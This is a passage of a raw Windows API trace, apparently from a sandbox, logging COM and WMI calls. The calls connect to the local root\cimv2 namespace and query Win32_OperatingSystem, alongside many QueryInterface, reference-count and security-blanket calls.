[5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0267.800] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d2184b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218030) returned 0x0 [0267.800] WbemLocator:IUnknown:Release (This=0x1d2184b0) returned 0x0 [0267.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218030) returned 0x0 [0267.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0267.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0267.800] WbemLocator:IUnknown:AddRef (This=0x1d218030) returned 0x3 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0267.801] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0267.801] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0267.801] WbemLocator:IUnknown:Release (This=0x1d218030) returned 0x2 [0267.801] WbemLocator:IUnknown:Release (This=0x1d218030) returned 0x1 [0267.801] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0267.801] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0267.801] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218030, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218030) returned 0x0 [0267.801] WbemLocator:IUnknown:AddRef (This=0x1d218030) returned 0x3 [0267.801] WbemLocator:IUnknown:Release (This=0x1d218030) returned 0x2 [0267.802] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0267.802] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0267.802] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.802] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218530) returned 0x0 [0267.802] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218530, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1b218140) returned 0x0 [0268.040] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218140, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201af0) returned 0x0 [0268.040] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201af0, pProxy=0x1b218140, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0268.041] WbemLocator:IUnknown:Release (This=0x1b201af0) returned 0x1 [0268.041] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218140, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201b38) returned 0x0 [0268.041] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218140, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201af0) returned 0x0 [0268.041] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201af0, pProxy=0x1b218140, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0268.042] WbemLocator:IUnknown:Release (This=0x1b201af0) returned 0x2 [0268.042] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0268.042] CoTaskMemFree (pv=0x1d1e6e40) [0268.042] WbemLocator:IUnknown:Release (This=0x1d218530) returned 0x0 [0268.042] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218140, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201b38) returned 0x0 [0268.043] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0268.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0268.067] WbemLocator:IUnknown:QueryInterface (in: This=0x1b218140, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0268.090] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0268.090] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0268.090] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0268.090] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201a18) returned 0x0 [0268.090] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201a18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.090] WbemLocator:IUnknown:Release (This=0x1b201a18) returned 0x3 [0268.090] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0268.090] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0268.090] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201b00) returned 0x0 [0268.090] WbemLocator:IRpcOptions:Query (in: This=0x1b201b00, pPrx=0x1b201b38, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0268.091] WbemLocator:IUnknown:Release (This=0x1b201b00) returned 0x3 [0268.091] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0268.091] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0268.091] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0268.091] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1b218140) returned 0x0 [0268.091] WbemLocator:IUnknown:AddRef (This=0x1b218140) returned 0x4 [0268.091] WbemLocator:IUnknown:Release (This=0x1b218140) returned 0x3 [0268.091] WbemLocator:IUnknown:Release (This=0x1b218140) returned 0x2 [0268.091] SysStringLen (param_1=0x0) returned 0x0 [0268.091] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0268.091] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0268.091] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201b38) returned 0x0 [0268.091] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x3 [0268.091] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0268.091] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0268.091] WbemLocator:IUnknown:AddRef (This=0x1b218140) returned 0x3 [0268.091] IWbemServices:ExecQuery (in: This=0x1b218140, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b2872e0) returned 0x0 [0268.118] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b2872e8) returned 0x0 [0268.118] IClientSecurity:QueryBlanket (in: This=0x1b2872e8, pProxy=0x1b2872e0, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0268.118] IUnknown:Release (This=0x1b2872e8) returned 0x1 [0268.119] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202d18) returned 0x0 [0268.119] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b2872e8) returned 0x0 [0268.119] IClientSecurity:SetBlanket (This=0x1b2872e8, pProxy=0x1b2872e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0268.152] IUnknown:Release (This=0x1b2872e8) returned 0x2 [0268.152] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0268.152] CoTaskMemFree (pv=0x1d1e6930) [0268.152] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202d18) returned 0x0 [0268.152] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0268.153] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0268.153] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0268.154] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0268.154] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0268.154] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0268.154] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202bf8) returned 0x0 [0268.154] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.154] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0268.154] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0268.154] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0268.154] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202ce0) returned 0x0 [0268.154] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0268.154] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0268.154] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0268.154] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0268.154] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0268.154] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b2872e0) returned 0x0 [0268.155] IUnknown:AddRef (This=0x1b2872e0) returned 0x4 [0268.155] IUnknown:Release (This=0x1b2872e0) returned 0x3 [0268.155] IUnknown:Release (This=0x1b2872e0) returned 0x2 [0268.155] WbemLocator:IUnknown:Release (This=0x1b218140) returned 0x2 [0268.155] SysStringLen (param_1=0x0) returned 0x0 [0268.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0268.155] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0268.155] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.155] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0268.155] IUnknown:AddRef (This=0x1b2872e0) returned 0x3 [0268.155] IEnumWbemClassObject:Clone (in: This=0x1b2872e0, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0268.157] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0268.157] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0268.157] IUnknown:Release (This=0x1b286088) returned 0x1 [0268.157] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203398) returned 0x0 [0268.157] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0268.157] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0268.159] IUnknown:Release (This=0x1b286088) returned 0x2 [0268.159] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0268.159] CoTaskMemFree (pv=0x1d1e63f0) [0268.159] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203398) returned 0x0 [0268.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0268.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0268.160] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0268.161] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0268.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0268.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0268.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203278) returned 0x0 [0268.161] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 